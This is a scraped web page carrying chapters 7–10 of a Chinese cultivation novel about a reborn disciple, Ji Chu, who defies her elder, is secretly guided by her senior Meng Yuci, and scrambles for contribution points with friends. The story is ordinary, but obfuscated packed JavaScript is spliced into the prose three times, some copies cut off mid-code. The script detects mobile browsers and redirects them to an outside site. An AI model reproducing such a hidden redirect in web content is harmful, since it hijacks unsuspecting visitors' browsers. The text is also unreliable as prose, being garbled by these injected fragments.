在沈恪看来,这是他给纪楚的台阶。 只要她认错认罚,此事便可以揭过不提,他也好同薛家和徐长老交待。 但纪楚却抬头,目光定定与他对视,说出的话让所有人都始料未及: “弟子无错。” 短短四个字,似在挑战他的权威。 这是她第一次当着众人的面反抗他。 受伤的薛羡尘站在另一端,闻言定定看向纪楚,脸上没有多少看见她倒霉的得意,反倒像是第一次认识她一样,看着她的目光有几分莫测。 众人哗然,沈恪的表情一下子变得更加阴沉。 他隐约觉得事情有些变数,只想将所有不稳定的因子当场铲除。 再出口时,声音已再度充满威压: “你说什么?” 纪楚仍跪在地上,被压得抬不起头。 她知道沈恪这是在警告她,若是继续闹下去,事情只会变得更加难看,他已经给足了她脸面,耐心即将告罄。 她应当和前世一样,就此认输,让一切失控的变数回到正轨,回到广玄峰继续弹她的琴。 …… 但她就是不想认输。 她已经在这样憋屈的、喘不上气的压迫下活了太久,上辈子到死都没能为自己说一句话,若是这一世还这样过,那她不如不重生! 顶着沈恪阴沉的目光,纪楚捏紧了拳头,声音像是被巨石压在地底,却仍执著着想要长出绿芽的种子。 “弟子……无错!” 许盈终于忍不住了。 她刚刚就想说话,但蒋成旭拉着她不让她插手。 只是没想到,宗门里最为仙风鹤骨的沈恪沈长老,对待自己教导的弟子时竟是这么个蛮不讲理的性子,竟然用修为压着纪楚逼她道歉,简直是非不分、以大欺小! 她“蹭”地一声站了起来: “沈长老为何要帮薛羡尘?今日分明是他薛羡尘挑衅在先,生死台上众目睽睽,纪楚赢得正大光明,她何错之有?” 蒋成旭拦不住人,无奈,也跟着从地上爬起来,站到了许盈身边。 他倒不像许盈那么冲动,还记得向宗门长老行礼: “见过沈长老。” 下一秒,他立马接着许盈的话继续说道: “弟子也可以作证,纪楚并无过错,清清白白。” 这头一开便难以停下。 其他弟子也开始交头接耳起来。 纪楚在生死台上的表现让许多人都大吃一惊。 生死台何许地方,寻常人哪敢有这个胆子上去挑战比自己强那么多的对手,但纪楚不但敢,她还赢了。 这一战结束,他们再也不能把纪楚当成一个“靠关系进内门”的废物。 此时看沈恪不由分说拦了修为光球拉了偏架,众人心里不免都有些嘀咕。 “这沈长老看起来,似乎也没有那么向着纪楚啊?” 知道“薛晚凝”的人因着不好当面议论师长,只能将一肚子八卦憋在心里,双目炯炯地等着台上几人再出“新瓜”。 沈恪连续被三个小辈顶撞,再大的威严也显得有些拉胯。 他看向徐长老,神色不虞: “你的课上,容得他们如此放肆!” 旁观全程的徐长老被他这么一说,心里很是不快,面上便没了好颜色: “既是我的课,便不牢沈长老操心了。何况剑道本就以攻为主,锐而不屈,我看他们几个倒是很好。” 这话怼得沈恪无言,只能冷哼一声。 连宗门最为刚正不阿的徐长老都这么说,可见纪楚今日的表现确实十分亮眼。 许盈和蒋成旭将纪楚扶起来,拉着她的胳膊疯狂冲她挤眉弄眼。 却听见沈恪在前头说: “再有天分,倘若心术不正,也是难救。” 言下之意,是觉得纪楚故意假装弱势,骗得薛羡尘大意之下同她比试,以谋求他的修为。 闻言,许盈和蒋成旭的脸又一下子垮了下去。 反倒是纪楚看他们这瞬间变脸的模样,忍不住笑了起来。 * 远处山崖上,孟喻辞松开指尖,传讯符化作荧光点点散于空中。 剑气切开虚空,下一刻,人已在掌门面前。 “弟子孟喻辞,拜见师尊。” 拂宇仙宗掌门诲元仙尊鹤发玉容,正立于水镜前看着方才生死台上的那一幕,闻言问道: “你来了,怎么出来的?” 孟喻辞淡淡道: “被人砸开结界。” 诲元仙尊没问是谁如此胆大包天,只回身看向他: “神骨忽生恶念,将你困于其中,可曾察觉什么?” 孟喻辞道: “神骨有异,恐非神物。” 诲元仙尊陡然看向他,双目暗含威慑之意: “此乃神骨!” 孟喻辞并不为其所震,神色如常: “正因如此,才更需谨慎以对。” 诲元仙尊沉思不语,亦是默认。 孟喻辞便也沉默。 二人都心知肚明,这次的意外绝不简单。 神骨乃是末神所留,天下修士、六界众生无不期许依赖,不容有一丝一毫的变数。 孟喻辞本是守护神骨,却被其所困、险些道陨一事,绝不能叫旁人知晓。 正殿内寂静无声,却有阴影随日光流转,一点点覆盖而来,寒气悄然上浮。 片刻后,诲元仙尊才微微一叹,换了语气问道: “可有受伤?” 孟喻辞仍旧一副淡然模样: “弟子无碍。” 两人言辞间并无多少尊卑高下之分,甚至显得有点客气。 诲元仙尊习以为常,只道: “若你无事,想来是砸开结界那人替你承了反噬。” 他侧身看向水镜。 生死台下人群已经散开,只纪楚和许盈三人仍在一旁站着。 许盈和蒋成旭你一句我一句地互相抱怨着,夹杂一些对沈恪的不满。 纪楚倒没出声,正在专心地听两人对话。 孟喻辞的目光随之看去,纪楚刚好转头看向这边,似乎在和水镜之外的他对视。 她双眸澄亮如星,看人时总专心致志,衬得许盈和蒋成旭简直像是在讨论什么深奥的道法一样。 但仔细听就会发现,许盈说的是: “这沈长老真是老糊涂了!” 纪楚冲她点点头。 蒋成旭:“议论师长总归是不好的……再者说,万一他还没走远呢?还是小点声吧。” 纪楚又冲他点点头。 许盈白了蒋成旭一眼: “怂包。” 蒋成旭回:“你厉害,你去沈长老面前骂。” “……” 孟喻辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074460|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不着痕迹地看了一眼诲元仙尊,却见掌门本人并没有生气的意思。 他不知为何莫名松了一口气,旋即又想到了第一次看见纪楚那天。 夜色沉郁,神骨上恶念丛生,将他困死在悬鹤峰结界后。 纵使他的功法至冷无情,却还是在这日夜不休的恶念影响下生出偏离。 一念生万物,私欲再难压。 他猛然意识到,从心绪有变的那一刻起,自己恐怕再也无法离开这道结界。 只是人生苦痛多于安乐,毕生难求解脱,或许对他而言,死在此刻,倒也没什么不好。 他几乎要放弃抵抗。 然而就在此时,忽有细微风声自结界外传来。 孟喻辞谨慎望去。 有人站在结界前,伴随着一道巨大的撞击声,固若金汤的结界竟生生被砸开了一道缝隙。 恰逢日月交替,晨光熹微。 一线天光自缝隙中挤了进来,瞬间照亮了他的视野,将他心头的阴霾悉数驱散殆尽。 晨光洒在他眼底,如浮光碎金映于冰面,将他望着那道缝隙的神情衬得有些怔愣。 结界碎了…… 虽然砸结界的人替他挡了大半反噬,但他毕竟直面神骨恶念多日,本该伤重无法行动,却在闭眼的那一刻,莫名察觉到一股发自内心的恐惧。 痛。 极致的痛和彻骨的悔恨催促着他起身,走出那道险些将他困死的结界,走到那个砸碎结界的人身前。 不可犹豫,不可拖延。 这情感不知从何而来,却像是原本就藏在他骨血魂灵之中—— 他必须看清她的脸,必须记住她的模样,必须知道她的名字。 ——纪楚。 原来她叫纪楚。 …… 孟喻辞收回思绪,开口道: “纪楚当日拜入内门,本是记在师尊名下,总跟着沈长老似乎不妥。” 诲元仙尊看他一眼,似乎是为他这突然的一句话诧异。 孟喻辞神色淡然,看不出端倪,仿佛真的只是随口一提。 诲元仙尊于是收回视线,道: “沈恪的心思,你也心知肚明,当日他执意要带纪楚进内门,我若强行阻拦,只会适得其反。权衡之下,这才叫纪楚记在我的名下,只是仍由沈恪教导。” “沈长老是法修。” 孟喻辞却说: “纪楚更适合剑道。” 诲元仙尊颔首,看向水镜: “临危不乱,是有些天分。” 他看了一眼孟喻辞,道: “你既是她师兄,又承了她助你打破结界的恩情,若能适当指点,恩怨相抵,于你道心有益。” 说完,他又交代了一句: “神骨一事不可为旁人所知。执律堂便罢了,其他的,待伤好后再露面。” 孟喻辞躬身: “弟子领命。” * 纪楚一个人回到院子里。 今日赢了薛羡尘,又当众驳了沈恪的面子,虽然高兴,却也叫她心烦。 沈恪比她修为高出太多,随随便便一出手,她就得把赢来的东西拱手让人;又担着教导之名,三言两语便可将她置于下风,怎么看怎么叫人不爽。 许盈和蒋成旭愿意为她出头,但她总不好一直等着他们帮忙。 当务之急,还是得好好修炼。 想到这些,纪楚抓紧时间打坐调息,进入入定状态。 周围安静下来的同时,经脉图在她面前徐徐展开。 她观察片刻,迈步上前,如涂画上色一样,沿着脉络堵塞之处一点点勾画,调动灵力填补缺口。 只是今天的速度比昨天更慢,灵力调动时也颇多滞涩之感,丹田仿佛一口接近干涸的水井,怎么用力都打不出水来。 她于是又忍不住开始胡思乱想。 一会儿是前世死前种种,一会儿是重生后发生的变化。 面前的经脉图也跟着她的思绪,一会儿变成圆的,一会儿又变成方的,很快扭曲成一团,难以解开。 纪楚慌了神,上手想要将其拽开,却反而引得经脉更加混乱。 惊慌无措时,突然被人敲在手背上。 “静心。” 两个字凭空出现在她的脑海中,音色被刻意掩去,难以分辨身份。 ——有化境以上修士在她入定时,用神识侵入了她的思绪。 8. 第 8 章 对方有意隐藏自己的身份。 纪楚一开始吓了一跳,随后很快反应过来,这或许就是昨日帮她的人。 修为高深的前辈随手救下一个弟子,又不想暴露身份,以免惹上麻烦,实属人之常情。 她斟酌片刻,对着虚空道: “昨日多谢前辈救我,原本想当面道谢,但您没有露面。” 孟喻辞没有回答。 昨日是事发突然,纪楚忽然经脉逆转,有走火入魔征兆,他不得不出面阻止她自伤。 但毕竟男女有别,纵使修士没有那么多忌讳,他深夜出入纪楚的房间,总归不太合适。 于是今日便只分出了一缕神识,在她入定之后现身,不用露面,便可助她修复经脉。 纪楚等了等,没等来“前辈”的回复,便知对方此刻并不在她跟前,应当只是分出神识来此。 只是不知道这人为什么会来帮自己,纪楚心下有些疑虑,将上辈子这会儿认识的人都数了个遍也没有头绪,一时不敢轻举妄动。 脑海中再度浮现几个字: “心念不定,则运气难畅。” 见纪楚仍在胡思乱想,一道灵力敲在她额头,不轻不重,敲得她回过神来。 “静心。” 纪楚“哦”了一声,收回思绪。 心念回收,灵力开始在丹田中运转,又随着经脉流动。 纪楚抬手,牵引着灵力修复经脉破损之处。 只是没过一会儿,她又忍不住思索起来。 先前只听说过,许多修士大能神识强盛,可趁人入定时以神识进入对方的思绪,干扰其判断。 修士入定时五感关闭,对周遭的事物的警惕心和感知力都会下降,更别说还得防备比自己修为高出许多的大能了。 如今这位前辈在她入定时出现,若只为帮她还好,一旦对方有什么歹心,她恐是防不住。 对方像是知道她心中所想,适时道: “我无歹心。” 纪楚:“……” 她尬笑了一下,定了定神,又开始运转灵力。 原本只是自己入定时修复经脉,胡思乱想毫无限制。 如今多了个修为高深的前辈“监工”,甚至还能猜出她在想些什么,纪楚觉得格外没有安全感。 她停下动作,抬头看向虚空: “前辈?” 对方没回答。 但纪楚知道他在听,于是道: “您专程来监督我修补经脉,是因为沈长老吗?” 孟喻辞先是疑惑,而后看到纪楚小心翼翼中带着警惕的神情,立即便想通了其中缘由。 因为沈恪白天说的话。 沈恪白天说她“心术不正”,虽为偏颇之语,到底却是入了纪楚的耳。 加上昨日险些走火入魔,她因此担心,自己来此是因为听信了沈恪所说,特来“监督”她的。 “帮助”和“监督”,于她而言意义不同。 孟喻辞思索片刻,道: “你曾随手助我,欠恩不还,于我道心无益。” 纪楚闻言又是一愣。 他专门来指点自己修行,是为了“还恩”。 这理由倒算得上合理。 修士修心,最忌讳心中有恩仇怨恨执拗难放,最终乱了道心。 只是……她什么时候帮过对方,怎么自己一点印象都没有了? 纪楚一脸苦恼地回忆了半天,终究是因为重生过来的时间太过久远,一点也想不起来。 如此便只能凭直觉了。前辈言之凿凿,态度又十分坦然正直,不像是有所图谋的样子,十有八九是好人。 纪楚索性不再纠结,专心开始调动灵力。 不期然又听见对方说: “旁人之语未必是你,不必在意。” 纪楚停在半空的手猛得一颤,前世师兄带着怒意的声音在她耳边再度浮现: “你究竟是谁,自己还不清楚吗?需要从别人口中得知?” “纪楚,你是什么人,亲口告诉我,亲自展示给我看。” “……” 她一时怔愣,随之而来的是心绪起伏不休。 某个瞬间她几乎以为,这位所谓的“好心前辈”就是师兄孟喻辞。 但不可能。 前世的这个时候师兄尚在闭关,不可能出现在这。 况且“孟喻辞”之名响彻宗门上下,若是出关,必然引起轰动,她至今也不曾听闻有关他的消息。 一定不是…… 幸好不是。 纪楚垂眸,不自觉攥紧衣袖。 她努力维持冷静,但原本平和流转的灵力却再度躁动起来,在经脉中肆意冲撞,将修补好的地方再度撕开。 孟喻辞不知她为何忽然激动起来。 但眼看着纪楚昨日濒临“走火入魔”的状态再度浮现,他也只能按下疑惑,用灵力锁住她周身经脉。 纪楚一动不动站在原地,不像昨日那样疯狂反抗,倒省了他的力气,很快便将她混乱的灵力压制下去。 只是看她面带委屈、心灰意冷的模样,孟喻辞又觉得事情似乎比昨天还要严重。 为什么? 因为他说的那句话吗? 他并无恶意,只作宽慰,怎会惹得纪楚好端端哭了起来? 孟喻辞百思不得其解。 纪楚却对缘由避而不谈,只道: “没什么,我挺好的,谢谢前辈又救我一次,我继续修炼了。” 她这么说着,眼眶却开始泛红,随时会落下泪来。 孟喻辞:“……” 纪楚已经伸手继续调动灵力。 只是她眼前迷蒙着泪光,看不清晰经脉走向,好好的经脉被她拨弄得凌乱不堪。 “罢了。” 孟喻辞看不下去,出声阻止: “若心绪不佳,可先休息,好过事倍功半。” 纪楚早就在等他这句话,闻言立马掐了自己一把,强行从入定状态离开。 孟喻辞的神识回归自身。 他于房中静坐。 神骨上的恶念重伤他神魂,本该抓紧时间调息疗伤,眼前却总是浮现出纪楚眼眶泛红的样子,像是受了天大的委屈。 * 纪楚揉了揉眼睛。 前辈随口一句话便让她想到了师兄,甚至难过到无法正常修炼。 纪楚觉得这样不好。 她已经重生了,一切重新开始,甚至师兄现在还不认识她,她在这儿难过些什么劲儿呢? 只是再想入定修行,也已经没了力气。 纪楚于是推门而出。 月朗星稀,山上格外静谧,晚风送来河水被搅动后的淡淡腥味,中间似乎还夹杂着炭火的味道。 纪楚:“?” 谁这么大胆,敢在拂宇仙宗放火? 她顺着气味找到了后山。 几根树枝架起一个烧烤架,中间拢着一团火,烟火缭绕。 许盈挽着袖子,正在朝烤架上串着的鱼身上刷酱。 听见有人过来先是一惊,而后发现是纪楚,神态立马放松下来,抬手小声招呼她过来: “快快快,正准备去叫你呢!” 纪楚走过去:“你们怎么在这儿烤鱼?不是不让弟子在后山点火吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074461|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋成旭提着两条鱼过来: “你就放一百个心吧,我们吃完就走,发现不了的。” 纪楚在许盈身边坐下。 许盈动作迅速,将另外两条鱼也洒上调料刷上酱,孜然的味道盖过炭火,引得人食欲大动。 原本压在纪楚心头的惆怅被冲散不少。 她两手抱着膝盖,一脸期待地看着烤架上的鱼。 许盈和蒋成旭配合默契,一人洒调料一人转烤鱼,显然不是第一次干这种违反门规的“勾当”了。 三条鱼串在树枝上,上下左右翻动,不一会儿鱼皮就开始焦脆卷曲,鱼肉的清香飘了出来。 纪楚三人双眼齐齐发亮,急忙将鱼从烤架上取下来,一人一条吃了起来。 等了半天的烤鱼每条都很小,只巴掌大,三两口便吃没了。 许盈不太满意:“好多刺,不好吃啊。” 纪楚表示同意:“而且味道……有点奇怪,好像有点老了,肉好柴。” “呵。” 身后传来一声冷笑:“这鱼确实不算年轻。” 纪楚和许盈看向蒋成旭,他正低头踩灭火堆,刚刚的话不是他说的。 三人面面相觑,大惊,齐齐回头。 明务堂师兄李京墨正立于纪楚身后,笑眯眯道: “般般鱼,宗门记录在案的仙宝。一百年产籽,一百年长成。” 他看向纪楚,笑意盈盈十分和蔼: “这位师妹说的不错,两百年才得一条的鱼,烤着吃确实肉柴。” 纪楚:“……!” 她和许盈急忙从地上站起来,李京墨已经低头开始在本子上记录: “纪楚,许盈,蒋成旭,后山点火,扣五十分,偷吃宗门仙宝,扣一百分。” 许盈苦涩地笑: “李师兄,你怎么大半夜还在值班啊,多辛苦啊……” 李京墨:“说什么都没用。” 许盈立马收起笑容:“一百五十分实在太多了!就不能少扣点吗?” 纪楚和蒋成旭点头。 李京墨收起小本本,冷笑道: “现在知道多啦?晚啦!刚刚吃鱼的时候就属你吃的最欢。” 许盈顿时如霜打茄子。 送走“时刻都在扣分”的李京墨后,三人背靠背席地而坐。 仰头望着天上的月亮,蒋成旭先叹了口气: “每月领取一次捉妖任务才赚五十分啊,这一下子仨月白干。” 许盈也叹道: “一千分才能参加问仙大会,这一百五扣完,我差点就去不了了,幸好只有一百五啊……” 问仙大会? 纪楚心思一动。 她险些忘了,上辈子这会儿,拂宇仙宗弟子最为关注的,就是即将到来的问仙大会。 蒋成旭神神秘秘说道: “小道消息,听说前三名……可以拜见神骨。” 许盈和纪楚齐齐倒吸一口凉气。 神骨乃是神族遗物,玄机深奥。 修士若能见上一次,指不定就可以因而悟道,有所突破。 纪楚就想的更多了。 上辈子她没能参加问仙大会,具体细节不太了解,更不知道前三名可以拜见神骨的消息。 前世她第一次听说神骨的消息,还是许盈为保护神骨而死,而她被污蔑勾结魔族,最后也间接因其惨死。 原来神骨,这么早就出现了吗? 想到前世种种,纪楚下定决心,一定要抢在薛羡尘前面见到神骨。 思及此,纪楚开口道: “如果我要参加问仙大会的话,还差多少分?” 9. 第 9 章 纪楚想过自己分数不够。 毕竟她一直被沈恪压着练琴,没多少机会和其他弟子一起做任务。 但她没想到,自己竟然能差这么多分。 “负九十五分?!” 许盈和蒋成旭齐齐看向纪楚:“这怎么还能负的呢?” 纪楚显然也不能接受这个答案。 她将明务堂的本子拿过来: “……御剑超速,扣十分;擅闯禁地,扣两百分;点火烤般般鱼,扣一百五十分……” 一连串的扣分项目看得她头晕眼花。 纪楚将记录本合上还了回去。 扶额缓了一会儿,她问许盈: “参加问仙大会需要几分来着?” 许盈:“一千分。” 不等纪楚再问,她已好心替她算出来了: “你还差一千零九十五分。” “……” 纪楚深吸了一口气,再度扶额沉默。 明务堂的弟子用笔指了指身后挂得满满当当的任务墙: “领任务,加分。” 纪楚随之看去。 每一块木牌上都刻着任务内容,分数从十到二百不等。 她将“二百分”对应的木牌取下,是个下山除妖的任务。 明务堂弟子却道: “这任务只有臻境弟子可领,你修为不够。” 有境界要求的任务一般危险系数较高,宗门限制修为,也是为了弟子安全着想,轻易不会打破。 纪楚只好将木牌放回去,视线停在了“玄境”那一排。 打扫藏书阁,加十分;采灵植,加十分;喂灵兽,加三十分…… 看了一圈,“玄境”弟子加分最多的任务就是下山去捉一些危害百姓的小妖,也才只能加五十分。 就算她能端一个妖族窝点,离“一千分”也还差的远。 更何况,问仙大会在即,分数只差一点、想通过“捉妖”迅速加分的弟子数不胜数,她修为低入门晚,根本抢不过。 最后秉着“蚊子腿再小也是肉”的信念,纪楚将最下面一排、因分数太小、任务内容太杂而被人嫌弃的任务木牌全领走了。 一连三天,她都在忙着完成这些零散到琐碎的任务,修复经脉的时间大幅度缩减。 就算得了空闲入定,也像是总在掐着点,着急忙慌地来又着急忙慌地走。 第三天的时候,孟喻辞忍不住了。 他本想严肃斥责她“三心二意”的态度,但尚未开口,又忽然想到她那天眼眶泛红还在强装无事的样子。 纪楚这个年纪的小女孩最是好奇心旺盛、自尊心强盛,一味打击只能适得其反,最好能循循善诱,教她分清轻重主次。 当下,还有什么比“修复经脉”更重要的呢? 孟喻辞于是改口道: “锲而不舍,金石可镂。修复经脉固然漫长枯燥,但却是磨练你心性的好机会。若有其他杂事,也该往后放一放。” 纪楚点点头: “多谢前辈指点。” 孟喻辞满意,觉得纪楚虽然容易走神了些,但却是个“懂事听劝”的好孩子。 谁知下一刻,便见她“啊”了一声,念叨着“今天的灵兽还没喂”,迅速结束了入定。 神识被弹出的孟喻辞气息瞬间冷了下去,看着纪楚离开的方向,缓缓眯起眸子。 剑气察觉他心中不悦,在他周身悄然浮现,杀气凛厉,很快又被他按下去。 若旁人见了,定会被他这一瞬间展露出的杀意所慑,再叛逆的弟子也得乖乖回来入定修行。 但纪楚看不见他的表情,也不会被他的冷脸吓到,更不会回来打坐。 她在忙着喂灵兽。 三十分。 纪楚总算是知道这个任务为什么能值三十分了。 她换了身纯白的衣服,蹲在地上压低上半身,模仿着兔子的动作,试图将自己融入四周静止不动的灵兔中间。 青极峰上养的灵兔十分机敏,但凡发现周围有危险存在,就会立马跳进洞里躲起来,哪怕只是吹来的一阵风。 偏偏它们又只喜欢吃一种形状酷似草莓的“红灵果”。 这果子落地即生,不到半刻就会凋零化土,必须现种现吃。 但灵兔胆小,若种果子的人在旁边站着,它们又会全都躲起来,兔子洞里一藏就是大半天,红灵果早便化成了土。 灵兔的喂养难度因此大大增加,许多弟子都不愿挑战。 纪楚连着失败了好多次,累的满头大汗,被她多次惊吓到的兔子们也跑得毛色灰败,似乎都饿瘦了。 经历了多次彼此折磨后,纪楚终于悟出了和灵兔和谐相处的诀窍: 动时眼疾手快,静时不动如山。 纪楚安静地蹲了许久,直到其他灵兔都把她当成一棵植物的时候,迅速从身侧背着的挎包里抓出一把红灵果种子扔在地上。 种子落地扎根,枝叶抽条顶芽结果,眨眼便生出一小片红灵果来。 灵兔嗅到了果子的香气,却仍在警惕地张望着。 纪楚一动不动,假装自己是块木头。 灵兔被她骗过去,一步蹦跳到红灵果旁边,三瓣嘴张张合合,很快便将一个果子吃得干干净净,转头跳去其他的果子旁边。 纪楚又挪到被吃完的果子旁边,趁着枝叶还没凋落,将叶子下面盖着的红灵果种子收走。 这样重复了大半天,终于结束了喂灵兽的工作。 天色已经有些晚了。 纪楚弯腰锤了锤蹲麻的腿,正准备将种子和任务木牌还回去时,忽然看到两个人并排走了过来。 一个瘦高的内门修士展臂揽住身侧那人: “……问仙大会选拔的是强者,就你这样的,去了也是浪费。乖乖把任务让出来,你师兄我就差这五十分。” 被揽住那人面露难色: “张师兄,这个任务是明务堂派下的,他们说弟子里只有我最适合……” “哪那么多废话!” 被称为“张师兄”的人不耐烦道: “你那点修为我还不知道吗?哪有你能做我不能做的任务?” “……” 被揽住那人还想说话,“张师兄”抬手将他推了个趔趄: “老子最看不惯你这窝窝囊囊的样子!赶紧把任务木牌拿出来!” 正好摔在纪楚身前,飞溅的泥土将她的白色衣裳染脏。 “张师兄”嫌弃道: “站都站不稳,还敢和我抢任务?” 摔倒这人急忙爬起来冲纪楚道歉: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074462|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这位道友,实在对不起,你的衣服我会赔的,我叫陈梧。” 纪楚原本保持着弯腰捶腿的动作,闻言缓缓直起身子。 “陈梧”这名字,她前世听过一次。 那会儿许盈和蒋成旭都已经不在了,她被扣上了“杀害同门勾结魔族”的帽子,已是宗门弟子眼中的“叛徒”,人人得而诛之。 之后宗门大乱,她趁机逃脱,决意去寻薛羡尘报仇时,连一把趁手的剑都没有。 还是一个叫“陈梧”的弟子将死之时,将自己的剑借给了她。 …… 纪楚收回思绪,看向一脸紧张的陈梧。 前世只看见了他一脸血的样子,自己亦是满心仇恨绝望,死的人太多,她甚至没有时间去关注这个濒死的同门长什么样子。 如今重生后再见,前世那张满是血的面孔逐渐被面前这个看起来格外秀气温润的少年取代。 她感到无比庆幸。 庆幸那悲惨的一切尚未发生。 纪楚于是笑起来: “一件衣裳而已,别放在心上,我叫纪楚。” 陈梧面带感激。 他修为一般,天赋也不足,踩了大运进入内门后,才发现自己这样平庸的人处处都讨不得好,被轻视、被欺负全是家常便饭。 好在他心里没有多少不忿。 多少凡人终其一生也只能在尘世苦熬,他能进仙门修行,衣食无忧,已经是天大的幸运。 他很知足。 “纪楚”的名字他自然也听过。 记在掌门名下,又是沈长老亲自选中带在身边教养的弟子,自然和他们这样的普通弟子不同。 原以为定是个高傲冷淡的性子,没想到竟这么好说话。 纪楚转向方才推人的张禾: “你不能抢他的任务。” “你想帮他?” 张禾不赞同道: “我知道你,生死台上一战赢的漂亮。只是人贵自强,今日你能帮他一次,难道还能帮他一辈子?” 陈梧闻言垂下头: “张师兄说的对,纪师姐不必为我出头,我确实修为不够……” “谁说我要帮你了?” 纪楚打断他的自我贬低,理所当然道: “不许他抢,自然是因为我也需要你这五十分。” 陈梧:“啊?” 张禾:“你也想抢这个任务?你差多少分?” 纪楚气定神闲: “九百五十分。” “九百五?你拿我当猴耍吗?!” 张禾闻言先是大怒,而后看纪楚身上粘着的兔子毛,意识到她连“喂灵兽”这样人人避之不及的任务都接,只怕是真差不少分,脸上那点怒意便成了嘲笑: “哈哈哈哈哈……纪楚,你在做梦吧?九百五十分,哈哈哈哈哈……” 看他越笑越大声,纪楚皱眉: “有什么好笑的?” 她指着陈梧手中露出的任务木牌: “抢了他的任务,不就只差九百分了吗?” 陈梧闻言,担忧地将任务木牌朝怀里塞了塞,顿时生出一股“前有狼后有虎”的绝望之情。 是他天真了。 修真界强者为尊,哪里会有真正善良和蔼的好人呢? 10. 第 10 章 张禾收起笑容:“你认真的?” 纪楚的回答是放下装满种子的小包,收好已经完成的任务木牌,抬头看了看天: “现在距离天黑还有一会儿功夫,还来得及上一次生死台。” 而后转了转手腕,面无表情地看向张禾: “抓紧时间,我晚上还有事。” 张禾:“……” 按理来说纪楚和他相比根本没有获胜的可能,但偏偏前头薛羡尘那次,他亲眼看见纪楚在生死台上反败为胜。 若非沈长老出面阻拦,薛羡尘的修为早就全进她手里了。 他只想加分,不想赌|博。 思及此,张禾果断放弃了和纪楚争下去: “纪师妹若是需要这五十分,便让给你了。” 张禾走远后,陈梧犹豫半天,还是将任务木牌拿了出来: “纪师姐,这个任务可以给你,只是明务堂专程叫我去完成,可能还有需要我帮忙的地方……” 纪楚看他一眼。 已经在心里将纪楚划为“不好惹”的陈梧被她这一眼看得一惊,急忙解释: “我的意思是,分数都归师姐,我只是帮忙完成任务……” 纪楚已经将装了种子的包重新背好,闻言却道: “你吃饭了吗?” 正担心她生气翻脸的陈梧:“?” 他下意识回答:“还没有。” 纪楚点头:“那一起吃吧。” 说完她低头在传音玉上按了按,许盈的声音从里面冒出来: “纪楚!你喂完灵兽了吗?我和蒋成旭已经准备好锅和菜了!” 纪楚道:“我马上过去,还有个师弟。” 许盈:“长相如何?” 纪楚看了一眼陈梧,目光让他觉得自己像是被掂量着准备去涮锅的肉: “尚可。” 许盈的声音顿时激动起来: “一起一起!今天菜好多的!” 陈梧急忙摆手: “不用了师姐,这太麻烦了,我已经辟谷了,随便去膳堂吃点就行了……” 纪楚问他:“你不喜欢吃火锅吗?” 陈梧完全跟不上她的逻辑,老实道:“喜欢……但是……” 纪楚便又点点头:“喜欢就走吧,不麻烦的,还是你不想和我们一起吃饭?” …… 陈梧最后还是和纪楚一起去吃火锅了。 对纪楚的畏惧是其次,主要原因还是在于火锅这个东西,他确实不太能抵抗得了。 虽说宗门没有明令禁止吃火锅,但为以防万一,许盈还是吸取了上次烤鱼被抓的经验,选择将锅架在了蒋成旭的院子里。 还在外面扔了几个防护符咒,一旦有明务堂的弟子靠近,就立即端锅撤退。 直到涮肉吃到嘴里,陈梧还没想明白自己怎么就忽然和纪楚他们一起吃上了火锅。 不过话题的焦点并不在他身上,而在纪楚的贡献分上。 “还差九百五十分。” 纪楚盯着锅里的鱼问: “这回不是两百年的鱼了吧?我真的不能再扣分了。” “我挑鱼你放心!专门去山下买的,绝对鲜嫩美味!” 蒋成旭打了个响指,说完又道: “距离问仙大会只剩两个月了,按你现在的速度,真能凑够一千分吗?” 纪楚叹气。 许盈看看他二人,“嗐”了一声,用勺子捞起一大块肉放到自己碗里: “实在不行,我们就去明务堂把李师兄打晕,拿走他的本给你加一千分!” 陈梧没忍住笑了一下,笑完却发现纪楚和蒋成旭都表情严肃,甚至后者还低头查了一下自己储物袋里的法器。 他顿时意识到:在场四人里只有他一个人觉得许盈在开玩笑。 纪楚道:“那得斟酌一下动手时间,不然李师兄提前醒了,肯定会去举报我的。” 陈梧:“……” 他觉得自己可能不小心加入了一个不太适合他的“邪恶组织”。 正想缩起脖子降低自己的存在时,猝不及防被蒋成旭点名: “陈师弟,我记得你参加内门选拔的时候捉住了一只鬼。” 陈梧:“啊?哦,是的……” 他看着有些意外,没想到蒋成旭竟然能记住自己。 蒋成旭继续道: “听说师弟于捉鬼一途颇有天分,明务堂还专门给你派了任务,让你去山下处理一户人家闹鬼的事情。” 他素来消息灵通博闻广识,纪楚和许盈早已习以为常,陈梧却并不知道,一时有种受宠若惊的无措: “蒋师兄谬赞了……我只是生来体弱,闻见鬼就会打喷嚏。” “那真是太好了!” 许盈冲陈梧的方向努努嘴,对纪楚道: 